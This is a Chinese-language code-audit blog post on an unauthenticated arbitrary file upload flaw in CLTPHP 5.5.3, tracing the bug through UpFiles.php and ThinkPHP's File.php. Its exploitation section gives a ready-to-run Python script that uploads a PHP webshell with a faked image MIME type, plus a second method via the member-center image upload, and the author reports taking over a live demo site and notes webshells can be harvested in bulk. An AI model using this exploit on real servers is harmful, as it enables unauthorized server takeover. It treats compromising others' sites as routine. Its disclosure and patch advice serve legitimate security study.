代码审计CLTPHP_v5.5.3 前台任意文件上传漏洞

Posted xiaozi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计CLTPHP_v5.5.3 前台任意文件上传漏洞相关的知识,希望对你有一定的参考价值。

0x00 环境准备

CLTphp官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin 密码:admin123

测试网站首页:

技术分享图片

技术分享图片

0x01 代码分析

1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

技术分享图片

技术分享图片

? 在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:

2、文件位置:/think/library/think/File.php 第329-377行:

技术分享图片

技术分享图片

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。

3、文件位置:/think/library/think/File.php 第218-245行:

技术分享图片

技术分享图片

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组中获取,函数未带入参数?rule,故采用默认值,我们看一下?rule的值

技术分享图片

技术分享图片

在同文件中$rule默认值为date,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

0x02 漏洞利用

利用方式一:

1、 通过编写Python脚本,模拟Ajax 异步请求, Python’脚本如下:

    #!/usr/bin/python  
  #-*- coding: UTF-8 -*-  
  import requests  
  header = { ‘User-Agent‘ : ‘Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)‘ ,  
              ‘X-Requested-With‘: ‘XMLHttpRequest‘,}  
  url = "http://127.0.0.1/user/upFiles/upload"  
  files ={‘file‘:(‘1.php‘,open(‘1.php‘,‘rb‘),‘image/jpeg‘)}  
  res = requests.post(url, files=files,headers=header)  
  print res.text  

2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

技术分享图片

技术分享图片

3、访问url,成功getshell 

技术分享图片

技术分享图片

某demo演示站点已getshell

1、修改url地址,运行Python脚本,获取一句话上传路径

技术分享图片

技术分享图片

2、成功控制网站服务器,未深入,仅截图作为演示。

另外,通过该漏洞可批量获取webshell,具体要看用户量多少了。

技术分享图片

 

技术分享图片

利用方式二:

1、在前台注册一个用户test,登录会员中心

 技术分享图片

技术分享图片

2、在会员中心—设置—上传图片马(包含一句话)—抓包改包为php后缀名

技术分享图片

技术分享图片

技术分享图片

技术分享图片

 

3、访问shell地址,成功获取网站权限

http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php

技术分享图片

技术分享图片

0x03 修复建议

? 1、添加上传页面的认证,通过白名单限制上传文件后缀;

? 2、禁止上传目录脚本执行权限。

 

 

以上是关于代码审计CLTPHP_v5.5.3 前台任意文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章

代码审计CLTPHP_v5.5.3后台任意文件下载漏洞分析

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

[代码审计]Weiphp5.0 前台文件任意读取分析

[代码审计]Weiphp5.0 前台文件任意读取分析

[代码审计]phpshe开源商城后台两处任意文件删除至getshell